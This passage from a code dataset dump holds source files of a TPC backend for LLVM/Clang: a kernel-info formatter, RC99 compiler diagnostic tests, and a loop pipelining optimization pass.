(TPCII::isLookup(MI.getDesc())) {\n Subtarget->getFrameLowering()->setMaxVectorMemory(Subtarget->getDefaultSmallVLMSize());\n break;\n }\n }\n }\n }\n setMemorySize(*MF.getFunction().getParent());\n return true;\n}\n" }, { "alpha_fraction": 0.5343137383460999, "alphanum_fraction": 0.5355392098426819, "avg_line_length": 34.4782600402832, "blob_id": "279d670f9dd7053f0072ccfae9bfbd695572cac9", "content_id": "ed57350a9c2e7bbee3933cb88fee577656da0bc2", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 816, "license_type": "permissive", "max_line_length": 80, "num_lines": 23, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCKernelInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCMetadataSection.cpp - TPC Specific header -------------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file declares a TPC kernel info. This info usages for write\n// .KernelInfo section.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Support/FormatVariadic.h\"\n#include \"llvm/Target/TPCKernelInfo.h\"\n#include <cassert>\n\nstd::string llvm::GenerateKernelInfo(StringRef KernelInfo) {\n assert(!KernelInfo.empty());\n return formatv(\"KERNELINFOBEGIN KernelName:[{0}] #KERNELINFOEND\",\n KernelInfo);\n}\n" }, { "alpha_fraction": 0.625746488571167, "alphanum_fraction": 0.6801592707633972, "avg_line_length": 17.837499618530273, "blob_id": "89bfa03cfd03e2633d5ad0b532b966004d504100", "content_id": "992827b953d5bd834f3a6f92524994e5c269dda5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1507, "license_type": "permissive", "max_line_length": 124, "num_lines": 80, "path": "/clang/test/RC99/restrictions/short-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nstruct S0 {\n short f1;\n};\n\nunion U0 {\n short f1;\n int f2;\n};\n\nunion U1 {\n union U0 f1;\n unsigned short f2;\n};\n\nunion U2 {\n struct S0 f1;\n int f2;\n};\n\nunion U3 {\n short f1[1];\n int f2;\n};\n\nstruct S1 {\n struct S0 f1;\n};\n\nstruct S2 {\n short f1[1];\n};\n\nstruct S3 {\n struct S0 f1[1];\n};\n\nstruct S4 {\n union U0 f1[1];\n};\n\n\n\nstruct S10 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n short f1;\n short f2;\n};\n\nstruct S11 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n struct {\n short f;\n } f1;\n int f2;\n};\n\nstruct S12 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n short f1[2];\n};\n\nstruct S13 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n struct S0 f1[2];\n};\n\nstruct S14 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n union U0 f1[2];\n};\n\nstruct S15 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n struct S0 f1;\n struct S0 f2;\n};\n\nstruct S16 { //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n union U0 f1;\n union U0 f2;\n};\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.6197604537010193, "alphanum_fraction": 0.651197612285614, "avg_line_length": 43.599998474121094, "blob_id": "871e6ae41e3d14cff00ff3e7877b06f0b0d3831e", "content_id": "48206bf89bdf57f6571fddf866710a46eed482d6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 668, "license_type": "permissive", "max_line_length": 88, "num_lines": 15, "path": "/clang/test/RC99/restrictions/gptr-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nvoid main(int x1, tensor out) {\n int __global *ptr, *ptr1;\n int5 c0 = 0;\n ptr = (__global int *) a_gen_addr_i(c0, out);\n ptr1 = (__global int *) a_gen_addr_i(c0, out);\n\n ptr = (__global int *)12; // expected-error{{unsupported operation on global pointer}}\n ptr[x1] = 1; // expected-error{{unsupported operation on global pointer}}\n x1[ptr] = 1; // expected-error{{unsupported operation on global pointer}}\n ptr = ptr1; // expected-error{{unsupported operation on global pointer}}\n if (!ptr) // expected-error{{unsupported operation on global pointer}}\n *ptr1 = 12;\n}" }, { "alpha_fraction": 0.5416666865348816, "alphanum_fraction": 0.6594203114509583, "avg_line_length": 41.46154022216797, "blob_id": "329781dfa218bee9cafb82cc1c7f061b401de47a", "content_id": "ce1fa68cf20c1f4b4be0778635f2405a599faef5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 552, "license_type": "permissive", "max_line_length": 98, "num_lines": 13, "path": "/clang/test/RC99/regression/unsupported_intrinsic.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -triple tpc -std=rc99 -fsyntax-only %s 2>&1 | FileCheck %s\n\n// GAUDI-506/SW-1949\n\nvoid main(int dest0, int x0, int x1) {\n bfloat128 __local *sptr1 = (bfloat128 __local *)x0;\n ushort128 __local *sptr2 = (ushort128 __local *)x1;\n ushort128 __local *dest = (ushort128 __local *)dest;\n ushort128_bfloat128_pair_t res = {0,0};\n res = v_bf16_u16_sel2_grt_v_v_v_v(sptr1[0], sptr1[1], sptr2[0], sptr2[1]);\n// CHECK: error: intrinsic function 'v_u16_sel2_grt_bf16_b' is not available for current processor\n *dest = temp_res0.v1;\n}\n" }, { "alpha_fraction": 0.5851898789405823, "alphanum_fraction": 0.5987589955329895, "avg_line_length": 37.82728576660156, "blob_id": "e5a6f03f6bb47b70c068b3abf4f7b72aaeb996aa", "content_id": "0a22536f6f01a836bdda06cb8dd6e306aa731153", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 26752, "license_type": "permissive", "max_line_length": 97, "num_lines": 689, "path": "/llvm/lib/Target/TPC/TPCoptimization.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCoptimization.cpp --- IR pipelined--------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// TPC-IR pipelined optimization\n//\n// This pass is a pipeline optimization. The pass accepts code with unroll\n// pragma the equal or greater to 1. The Unroll factor is calculated according\n// to reuse patterns that are in the inner loop.\n//\n// The pass works on three Basic blocks described by two loops. The inner loop\n// as shown in the example LOOP1.2 and the outer loop as LOOP1. The pass\n// extracts loads from the inner loop to the other loop and then duplicates\n// them after all stores in the inner loop. Since loads instructions lead\n// stores instruction with a gap of one iteration. The pass dupllicats\n// instructions between load and store and stores to an exit point.\n//\n// For now, the pass supports the following scenarios:\n// 1) load and store of the same class.\n// 2) The number of loads and stores are equal and greater than 1.\n// 3) Unroll factor between 1 to 4.\n//\n// This pass transform the code in the following way:\n//\n// begin begin\n// LOOP1: LOOP1: *prolog*\n// LOOP1.2: in = load_type\n// in = load_type LOOP1.2: *inner loop*\n// Inst1(in) Inst1(in)\n// inst2,inst3 ==> inst2,inst3\n// res = inst4 res = inst4\n// store(res) store(res)\n// LOOP1.EXIT in = load_type\n// ##end LOOP1.EXIT: *epilog*\n// Into Inst1(in)\n// inst2,inst3\n// res = inst4\n// store(res)\n// end\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/MemoryBuiltins.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\nusing namespace llvm;\n\n#define PassName \"tpcopt\"\n#define PassDescription \"Create pipeline optimization in the level of the IR\"\n#define DEBUG_TYPE PassName\n#include <iostream>\n\nstatic cl::opt<bool> tpcoptFlag(\"unroll-pipelined\",cl::init(true), cl::Hidden);\nstatic cl::opt<bool> tpcoptDebug(\"TPCOPT_DEBUG\",cl::init(false), cl::Hidden);\n\n\nusing namespace std;\nclass TpcLoopOpt : public LoopPass {\npublic:\n static char ID;\n TpcLoopOpt() : LoopPass(ID) {\n initializeTpcLoopOptPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addPreserved<ScalarEvolutionWrapperPass>();\n getLoopAnalysisUsage(AU);\n }\n\nprivate:\n Loop *WorkingLoop = nullptr;\n Instruction *InsertElement2 = nullptr;\n Instruction *Add32 = nullptr;\n std::vector<Instruction *> LoadPtrList;\n std::vector<Instruction *> StorePtrList;\n SmallVector<Instruction *, 16> CloneInstruction;\n SmallVector<Instruction *, 16> DuplicateInstruction;\n bool Diagnostic = false;\n std::vector<Instruction *> InstructionBufferArray;\n Intrinsic::ID StoreId = Intrinsic::not_intrinsic;\n Intrinsic::ID LoadId = Intrinsic::not_intrinsic;\n unsigned CycleSize = 0;\n unsigned UnrollSize = 0;\n Instruction *InducationPhi = nullptr;\n llvm::ConstantInt *InductionSize = nullptr;\n llvm::ConstantInt *IRFLocation = nullptr;\n // Pass condition functions\n bool runOnLoop(Loop *Lp, LPPassManager &LPM) override;\n bool loadAndSet(Intrinsic::ID intrinId);\n bool unrollPragmaValue(const Loop *L);\n bool createCopyInstruction();\n bool patternCheck(Loop *L);\n\n // Pass transform functions\n bool reorder();\n Instruction *prologue(BasicBlock *outerBB, BasicBlock *innerBB);\n SmallVector<Instruction *, 4> inner(BasicBlock *BB0, BasicBlock *BB1,\n Instruction *lastAddLoadBB0);\n void cleanUp(BasicBlock *BB2, SmallVector<Instruction *, 4> PhiInst);\n Instruction *incInstruction(BasicBlock *to, BasicBlock *from,\n Intrinsic::ID idIntrin, Instruction *input,\n Instruction *firstElment = nullptr,\n Instruction *moveAfter = nullptr);\n // Support pass functions\n Instruction *creatCloneIntrinsics(Instruction *after, Instruction *pointer,\n bool dontUpdate);\n\n void fixPhiInstruction(BasicBlock *BB);\n};\n\nINITIALIZE_PASS_BEGIN(TpcLoopOpt, PassName, PassDescription, false, false)\n INITIALIZE_PASS_DEPENDENCY(LoopPass)\nINITIALIZE_PASS_END(TpcLoopOpt, PassName, PassDescription, false, false)\n\nchar TpcLoopOpt::ID = 0;\n\nLoopPass *llvm::createTpcLoopOptPass() { return new TpcLoopOpt(); }\n\nstatic MDNode *GetUnrollMetadataForLoop(const Loop *L, StringRef Name) {\n if (MDNode *LoopID = L->getLoopID())\n return GetUnrollMetadata(LoopID, Name);\n return nullptr;\n}\n\nbool TpcLoopOpt::unrollPragmaValue(const Loop *L) {\n // Function check if the pragam unroll was deploy in the code before the loop.\n // unroll > 1 || unroll == 1\n // TODO: In the future we can add new pragam \"piplined\"\n if (GetUnrollMetadataForLoop(L, \"llvm.loop.unroll.disable\") ||\n GetUnrollMetadataForLoop(L, \"llvm.loop.unroll.count\"))\n return false;\n return true;\n}\n\ntemplate <typename T, unsigned N>\nstatic SmallVector<T *, N> get_list_of(BasicBlock *const *BB) {\n // Retrun a vector of all element correspond to type <T>\n // indise the basicblock <BB>.\n SmallVector<T *, N> list;\n for (BasicBlock::iterator II = (*BB)->begin(); II != (*BB)->end(); II++)\n if (auto Intrin = dyn_cast<T>(II))\n list.push_back(Intrin);\n return list;\n}\n\nstatic bool check_if_debug(Loop *lp)\n{\n BasicBlock* head = lp->getHeader();\n Module *M = head->getModule();\n NamedMDNode *CUs = M->getNamedMetadata(\"llvm.dbg.cu\");\n return CUs != nullptr;\n}\n\nbool TpcLoopOpt::runOnLoop(Loop *lp, LPPassManager &LPM) {\n // Virtual function: RunOnLoop function checks if the condiatios are stasfied\n // If yes continu to reorder.\n // Else return false.\n if(!tpcoptFlag)\n return false;\n // incorrect work was found with -g\n if (check_if_debug(lp)) {\n return false;\n }\n WorkingLoop = lp;\n // Check pragma unroll.\n if (unrollPragmaValue(lp))\n return false;\n // The loop is the inner loop with one control flow.\n if (lp->getNumBlocks() > 1)\n return false;\n\n // Clear the lists\n LoadPtrList.clear();\n StorePtrList.clear();\n\n // The pattern of the loop correspond to the file's comment. If there is no\n // induction return false.\n if (patternCheck(lp)) {\n // Find the induction variable and the correlate array IRF location.\n InductionDescriptor ID;\n vector<BasicBlock *> basicBlockVec = WorkingLoop->getBlocksVector();\n SmallVector<PHINode *, 8> phi = get_list_of<PHINode, 8>(&basicBlockVec[0]);\n auto *SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n\n if (InductionDescriptor::isInductionPHI(phi[0], WorkingLoop, SE, ID)) {\n InductionSize = ConstantInt::get(\n Type::getInt32Ty(phi[0]->getContext()),\n ID.getConstIntStepValue()->getSExtValue() / UnrollSize);\n for (auto users : phi[0]->users()) {\n if (auto insertElement = dyn_cast<InsertElementInst>(users)) {\n for (auto serachLoadUse : insertElement->users())\n if (serachLoadUse == LoadPtrList[0]) {\n InducationPhi = phi[0];\n auto CI = dyn_cast<ConstantInt>(insertElement->getOperand(2));\n IRFLocation =\n ConstantInt::get(Type::getInt32Ty(phi[0]->getContext()),\n CI->getSExtValue() + 1);\n break;\n }\n }\n if (IRFLocation != nullptr)\n break;\n }\n } else\n return false;\n // Check if IRF insert element is exist.\n if (IRFLocation == nullptr)\n return false;\n // If so do the transformation.\n return reorder();\n }\n return false;\n}\n\nbool TpcLoopOpt::loadAndSet(Intrinsic::ID intrinId) {\n // todo: it not necessary that load and store will equal to each other\n switch (intrinId) {\n default:\n return false;\n case Intrinsic::tpc_ld_tnsr:\n StoreId = Intrinsic::tpc_st_tnsr;\n break;\n }\n if (LoadId == Intrinsic::not_intrinsic)\n LoadId = intrinId;\n else\n return LoadId == intrinId;\n return true;\n}\n\nstatic vector<Instruction *>\nextractIntrinFromList(SmallVector<IntrinsicInst *, 16> intrinsicList,\n Intrinsic::ID intrinId) {\n vector<Instruction *> selectInst;\n for (unsigned j = 0; j < intrinsicList.size(); j++) {\n if (intrinsicList[j]->getIntrinsicID() == intrinId)\n selectInst.push_back(intrinsicList[j]);\n }\n return selectInst;\n}\n\nbool TpcLoopOpt::createCopyInstruction() {\n // The function prepares a list of instruction between load and store.\n // The count indicate the number of instruction between the load and store.\n unsigned count = 0;\n for (unsigned i = 0; i < LoadPtrList.size(); i++) {\n Instruction *ptr = LoadPtrList[i]->getNextNode();\n while (ptr != StorePtrList[i]) {\n InstructionBufferArray.push_back(ptr);\n ptr = ptr->getNextNode();\n count++;\n }\n if (CycleSize == 0)\n CycleSize = count;\n else {\n // Check that each load store gap is the same.\n if (CycleSize != count)\n return false;\n }\n count = 0;\n }\n return true;\n}\n\nbool TpcLoopOpt::patternCheck(Loop *L) {\n auto *BB = L->block_begin();\n SmallVector<IntrinsicInst *, 16> intrinList =\n get_list_of<IntrinsicInst, 16>(BB);\n if (intrinList.size() < 2)\n return false;\n bool flag = false;\n Value *ptr = nullptr, *ptr2 = nullptr;\n // Build the load and store instruction list.\n for (auto *runner : intrinList) {\n if (loadAndSet(runner->getIntrinsicID())) {\n if (!flag) {\n flag = !flag;\n ptr = dyn_cast<Instruction>(runner)->getOperand(0);\n LoadPtrList.push_back(runner);\n } else\n return false;\n } else if (((runner)->getIntrinsicID() == StoreId)) {\n if (flag) {\n flag = !flag;\n ptr2 = dyn_cast<Instruction>(runner)->getOperand(0);\n StorePtrList.push_back(runner);\n if (dyn_cast<Instruction>(ptr) == dyn_cast<Instruction>(ptr2))\n Diagnostic = true;\n } else\n return false;\n }\n }\n // If there is no store complete the load instruction return false\n if (flag)\n return false;\n\n if (!createCopyInstruction())\n return false;\n // Since we checking match between load and store and only one type of load.\n // We can compute the UnrollSize.\n UnrollSize = LoadPtrList.size();\n\n // For now only support up to three instruction gaps.\n if (CycleSize > 4 || CycleSize == 0 || UnrollSize > 4 || UnrollSize == 0)\n return false;\n\n BB = L->getParentLoop()->block_begin();\n\n // For now the outer loop need to be empty from load.\n return extractIntrinFromList(get_list_of<IntrinsicInst, 16>(BB), LoadId)\n .empty();\n}\n\nstatic SmallVector<Instruction *, 4>\nextractIntrinFromList(SmallVector<Instruction *, 16> instList,\n Intrinsic::ID intrinId) {\n SmallVector<Instruction *, 4> selectInst;\n for (unsigned j = 0; j < instList.size(); j++)\n if (auto val = dyn_cast<IntrinsicInst>(instList[j])) {\n if (val->getIntrinsicID() == intrinId)\n selectInst.push_back(instList[j]);\n }\n return selectInst;\n}\n\nInstruction *TpcLoopOpt::incInstruction(BasicBlock *to, BasicBlock *from,\n Intrinsic::ID idIntrin,\n Instruction *input,\n Instruction *firstElment,\n Instruction *moveAfter) {\n // incInstruction creates add instruction for each use of the load and store.\n // The function return the last load's/store's ADD.\n IRBuilder<> builder(to);\n SmallVector<Instruction *, 16> instList = get_list_of<Instruction, 16>(&from);\n // Get all load/store instruction for increment the IRF.\n SmallVector<Instruction *, 4> intrinsicList =\n extractIntrinFromList(get_list_of<Instruction, 16>(&to), idIntrin);\n LLVMContext &C = from->getContext();\n Type *Int5Ty = VectorType::get(Type::getInt32Ty(C), 5);\n //Value *undef = UndefValue::get(Int5Ty);\n Instruction *add = input;\n Function *func = Intrinsic::getDeclaration(to->getModule(),\n Intrinsic::tpc_add, { Int5Ty, Type::getInt32Ty(C), Int5Ty, Type::getInt1Ty(C) });\n\n assert(instList.size() > 2 && \"number of instruction smaller then two\");\n if (!moveAfter)\n moveAfter = instList[instList.size() - 2];\n\n for (auto *intrin = intrinsicList.begin(), *end = intrinsicList.end();\n intrin != end; ++intrin) {\n // Create the add instruction where the func is intrinsics InductionSize\n // is the loop inducation and the IRF location is location inside the IRF\n // array is.\n add = builder.CreateCall(func, {InductionSize,\n add,\n ConstantInt::get(Type::getInt8Ty(C),\n TPCII::OpType::INT32),\n IRFLocation,\n add,\n ConstantInt::get(Type::getInt1Ty(C), 1),\n ConstantInt::get(Type::getInt1Ty(C), 0) });\n (*intrin)->moveAfter(moveAfter);\n (*intrin)->setOperand(0, input);\n add->moveAfter(*intrin);\n moveAfter = add;\n input = add;\n if (firstElment) {\n firstElment->insertBefore(*intrin);\n firstElment = nullptr;\n }\n }\n return add;\n}\n\nInstruction *TpcLoopOpt::prologue(BasicBlock *outerBB, BasicBlock *innerBB) {\n // The prologue function extracts the inner loop's load to the outer loop.\n // Return the last add.\n\n // for.body: -> OuterBB // for.body: -> OuterBB\n // %h = Outer var indeucation // %h = Outer var indeucation\n // %IRF[3] = %h ==> // %0 = IRF\n // %br condition inner outer // %temp = add unroll factor to temp\n // %1 = load call(%0)\n // %2 = add %0,1\n // %3 = load call(%2)\n // %4 = add %2,1\n // Continue ass unroll factor\n // %br condition inner outer\n\n // Extract the insertElement for the load and store elements.\n // The inserElement saves the current stat of the IRF will prepares the gap between\n // store's and load's IRF.\n Instruction *insertElement1 =\n dyn_cast<Instruction>(LoadPtrList[0]->getOperand(0))->clone();\n InsertElement2 =\n dyn_cast<Instruction>(StorePtrList[0]->getOperand(0))->clone();\n insertElement1->setOperand(\n 0, dyn_cast<Instruction>(insertElement1->getOperand(0))->getOperand(1));\n InsertElement2->setOperand(\n 0, dyn_cast<Instruction>(InsertElement2->getOperand(0))->getOperand(1));\n insertElement1->setOperand(1, InducationPhi->getOperand(1));\n InsertElement2->setOperand(1, InducationPhi->getOperand(1));\n\n Instruction *lastAdd =\n incInstruction(innerBB, outerBB, LoadId, insertElement1, insertElement1);\n InsertElement2->insertAfter(insertElement1);\n IRBuilder<> builder(outerBB);\n Add32 = cast<Instruction>(builder.CreateAdd(\n InsertElement2->getOperand(1),\n ConstantInt::get(builder.getInt32Ty(), LoadPtrList.size())));\n Add32->moveAfter(InsertElement2);\n return lastAdd;\n}\n\nInstruction *TpcLoopOpt::creatCloneIntrinsics(Instruction *after,\n Instruction *pointer,\n bool dontUpdate = true) {\n pointer->clone()->insertAfter(after);\n if (dontUpdate)\n CloneInstruction.push_back(pointer);\n after = after->getNextNode();\n if (dontUpdate) {\n DuplicateInstruction.push_back(after);\n for (unsigned op = 0; op < after->getNumOperands(); op++) {\n if (auto *a = dyn_cast<Instruction>(after->getOperand(op))) {\n for (unsigned i = 0; i < CloneInstruction.size(); i++) {\n if (CloneInstruction[i] == a) {\n after->setOperand(op, DuplicateInstruction[i]);\n break;\n }\n }\n }\n }\n }\n return after;\n}\n\nstatic PHINode *insetPhiInst(Instruction *first, Instruction *second,\n BasicBlock *firstBB, BasicBlock *secondBB,\n IRBuilder<> builder, Type *ptrType, int number,\n Instruction *after) {\n PHINode *phiLoad = builder.CreatePHI(VectorType::get(ptrType, number), 2);\n phiLoad->addIncoming(first, firstBB);\n phiLoad->addIncoming(second, secondBB);\n phiLoad->moveAfter(after);\n return phiLoad;\n}\n\nstatic SmallVector<Instruction *, 4>\ncreatePhiInstruction(vector<Instruction *> *selectItrin,\n vector<BasicBlock *> basicBlockLoc, IRBuilder<> &builder,\n Instruction *after) {\n SmallVector<Instruction *, 4> result;\n PHINode *phiLoad;\n for (unsigned i = 0; i < selectItrin[0].size(); i++) {\n int number = selectItrin[0][i]->getType()->getVectorNumElements();\n Type *ptrType = selectItrin[0][i]->getType()->getVectorElementType();\n phiLoad =\n insetPhiInst(selectItrin[0][i], selectItrin[1][i], basicBlockLoc[0],\n basicBlockLoc[1], builder, ptrType, number, after);\n result.push_back(phiLoad);\n after = after->getNextNode();\n }\n return result;\n}\n\nstatic SmallVector<Instruction *, 4>\nphiFromTwoBasicBlock(Intrinsic::ID intrinId, Instruction *after,\n BasicBlock *firstBB, BasicBlock *secondBB,\n BasicBlock *firstBBLoc, BasicBlock *secondBBLoc) {\n // The function phiFromTwoBasicBlock creates Phi instruction from to\n // instruction locate in the tow BasicBlockLoc var.\n IRBuilder<> builder(secondBB);\n SmallVector<IntrinsicInst *, 16> itrin[2] = {\n get_list_of<IntrinsicInst, 16>(&firstBB),\n get_list_of<IntrinsicInst, 16>(&secondBB)};\n vector<Instruction *> selectItrin[2];\n for (int i = 0; i < 2; i++)\n selectItrin[i] = extractIntrinFromList(itrin[i], intrinId);\n assert(selectItrin[0].size() == selectItrin[1].size() &&\n \"To many confuse instruction\");\n return createPhiInstruction(selectItrin, {firstBBLoc, secondBBLoc}, builder,\n after);\n}\n\nvoid TpcLoopOpt::fixPhiInstruction(BasicBlock *BB) {\n SmallVector<Instruction *, 16> instrucitonList =\n get_list_of<Instruction, 16>(&BB);\n SmallVector<PHINode *, 4> PhiInst = get_list_of<PHINode, 4>(&BB);\n if (!PhiInst.empty()) {\n for (auto start = instrucitonList.begin() + PhiInst.size(),\n end = instrucitonList.end();\n start != end; start++) {\n for (unsigned op = 0; op < (*start)->getNumOperands(); op++) {\n if (auto *a = dyn_cast<Instruction>((*start)->getOperand(op))) {\n for (unsigned i = 0; i < PhiInst.size(); i++) {\n for (unsigned j = 0; j < PhiInst[i]->getNumOperands() - 1; j++) {\n if (PhiInst[i]->getOperand(j) == a &&\n PhiInst[i]->getParent() != a->getParent()) {\n (*start)->setOperand(op, PhiInst[i]);\n break;\n }\n }\n }\n }\n }\n }\n }\n}\n\nvoid splitCoordinate(vector<Instruction *> load, vector<Instruction *> store) {\n // splitCoordinate insert new coordinate when a coordinate is shared by\n // both load and store\n IRBuilder<> builder(load[0]->getParent());\n unsigned i = 0;\n for (auto runOnLoad : load) {\n auto *cord = dyn_cast<Instruction>(runOnLoad->getOperand(0));\n cord->clone()->insertAfter(cord);\n cord = cord->getNextNode();\n store[i]->setOperand(0, cord);\n i++;\n }\n}\n\nSmallVector<Instruction *, 4> TpcLoopOpt::inner(BasicBlock *BB0,\n BasicBlock *BB1,\n Instruction *lastAddLoadBB0) {\n // LOOP1.2: LOOP1.2: *inner loop*\n // in = load_type Inst1(in0)\n // Inst1(in) inst2,inst3\n // inst2,inst3 ==> res = inst4\n // res = inst4 Inst1(in1)\n // store(res) inst2,inst3\n // LOOP1.EXIT res = inst4\n // in0 = load_type(IRF[L].1)\n // IRF[L].1++\n // in1 = load_type(IRF[L].1)\n // IRF[L].1++\n // store(res,IRF[L].2)\n // IRF[L].2++\n // store(res,IRF[L].2)\n // IRF[L].2++\n // ... repeat as unroll factor\n\n // Transform the inner loop into pipelined version return a list phi instructions.\n\n // Search for the last intrinsics.\n auto *after = (Instruction *)get_list_of<IntrinsicInst, 16>(&BB1).back();\n // Copy the load instruction to the location point after.\n for (auto load : LoadPtrList)\n after = creatCloneIntrinsics(after, load, false);\n\n // For each clone of store and load create inc the IRF.\n Instruction *lastAddLoadBB1 =\n incInstruction(BB1, BB1, LoadId, lastAddLoadBB0, nullptr, after);\n Instruction *lastAddStoreBB1 = incInstruction(\n BB1, BB1, StoreId, dyn_cast<Instruction>(StorePtrList[0]->getOperand(0)),\n nullptr, lastAddLoadBB1);\n\n // Creates phi instruction for all load.\n BasicBlock *preHeader = WorkingLoop->getLoopPreheader();\n SmallVector<Instruction *, 4> phiInst =\n phiFromTwoBasicBlock(LoadId, (&*(*WorkingLoop->block_begin())->begin()),\n BB0, BB1, preHeader, BB1);\n\n IRBuilder<> builder(BB1);\n // Create phi for laod from the outer loop.\n PHINode *phiLoad = insetPhiInst(\n lastAddLoadBB0, lastAddLoadBB1, preHeader, lastAddLoadBB1->getParent(),\n builder, Type::getInt32Ty(lastAddLoadBB1->getContext()), 5,\n phiInst.back());\n\n SmallVector<IntrinsicInst *, 16> intrinList =\n get_list_of<IntrinsicInst, 16>(&BB1);\n\n LoadPtrList = extractIntrinFromList(intrinList, LoadId);\n LoadPtrList[0]->setOperand(0, phiLoad);\n LoadPtrList[0]->getNextNode()->setOperand(1, phiLoad);\n\n // also set operand 4 ('income' operand) to be the same as operand 1\n LoadPtrList[0]->getNextNode()->setOperand(4, phiLoad);\n\n StorePtrList = extractIntrinFromList(intrinList, StoreId);\n SmallVector<Instruction *, 16> inInstVec = get_list_of<Instruction, 16>(&BB0);\n\n // Create a phi instruction for the store instruction that come from inner loop and outer loop.\n phiLoad = insetPhiInst(InsertElement2, lastAddStoreBB1, preHeader,\n lastAddStoreBB1->getParent(), builder,\n Type::getInt32Ty(lastAddStoreBB1->getContext()), 5,\n phiInst.back()->getNextNode());\n\n StorePtrList[0]->setOperand(0, phiLoad);\n StorePtrList[0]->getNextNode()->setOperand(1, phiLoad);\n\n // also set operand 4 ('income' operand) to be the same as operand 1\n StorePtrList[0]->getNextNode()->setOperand(4, phiLoad);\n\n // Set the gap between the load IRF and the store IRF.\n get_list_of<Instruction, 16>(&BB1)[0]->setOperand(1, Add32);\n return phiInst;\n}\n\nvoid TpcLoopOpt::cleanUp(BasicBlock *BB2,\n SmallVector<Instruction *, 4> PhiInst) {\n // LOOP1.EXIT in = load_type\n // ##end LOOP1.EXIT: *epilog*\n // => Inst1(in)\n // inst2,inst3\n // res = inst4\n // store(res,IRF[L].2)\n // IRF[L].2++\n // Inst1(in1)\n // inst2,inst3\n // res = inst4\n // store(res,IRF[L].2)\n // IRF[L].2++\n // ... repeat as unroll factor\n // end\n //\n\n Instruction *after;\n SmallVector<Instruction *, 16> intrinListBB2 =\n get_list_of<Instruction, 16>(&BB2);\n intrinListBB2[0]->setOperand(1, StorePtrList.back()->getNextNode());\n intrinListBB2[0]->setOperand(0, Add32->getPrevNode());\n\n if (Diagnostic)\n after = intrinListBB2[0];\n else\n after = intrinListBB2[1];\n\n IRBuilder<> builder(BB2);\n for (unsigned i = 0; i < PhiInst.size(); i++) {\n auto *first = dyn_cast<Instruction>(PhiInst[i]->getOperand(0));\n auto *second = dyn_cast<Instruction>(PhiInst[i]->getOperand(1));\n after = insetPhiInst(first, second, first->getParent(),\n WorkingLoop->getExitBlock(), builder,\n PhiInst[i]->getType()->getVectorElementType(),\n PhiInst[i]->getType()->getVectorNumElements(), after);\n }\n\n // Duplicate the instruction between the load and the store to the cleanup block.\n for (unsigned i = 0; i < InstructionBufferArray.size() / UnrollSize; i++)\n for (unsigned j = 0; j < UnrollSize; j++)\n after = creatCloneIntrinsics(after,\n InstructionBufferArray[i + CycleSize * j]);\n\n // Duplicate the store to the cleanup block.\n for (auto store : StorePtrList)\n after = creatCloneIntrinsics(after, store);\n\n incInstruction(BB2, BB2, StoreId, intrinListBB2[0], nullptr, after);\n}\n\nbool TpcLoopOpt::reorder() {\n if(tpcoptDebug)\n llvm::dbgs() << \"kernel pipelined \\n\";\n\n Loop *L = WorkingLoop->getParentLoop();\n\n vector<BasicBlock *> basicBlockVec = L->getBlocksVector();\n\n if (Diagnostic)\n splitCoordinate(LoadPtrList, StorePtrList);\n\n // Prologue\n Instruction *lastAddLoadBB0 = prologue(basicBlockVec[0], basicBlockVec[1]);\n\n // inner loop\n SmallVector<Instruction *, 4> phiInst =\n inner(basicBlockVec[0], basicBlockVec[1], lastAddLoadBB0);\n\n // Epilogue\n cleanUp(basicBlockVec[2], phiInst);\n\n // Fix all phi instruction to point to the correct instructions.\n for (unsigned i = 0; i < 3; i++)\n fixPhiInstruction(basicBlockVec[i]);\n\n return true;\n}\n" }, { "alpha_fraction": 0.5378378629684448, "alphanum_fraction": 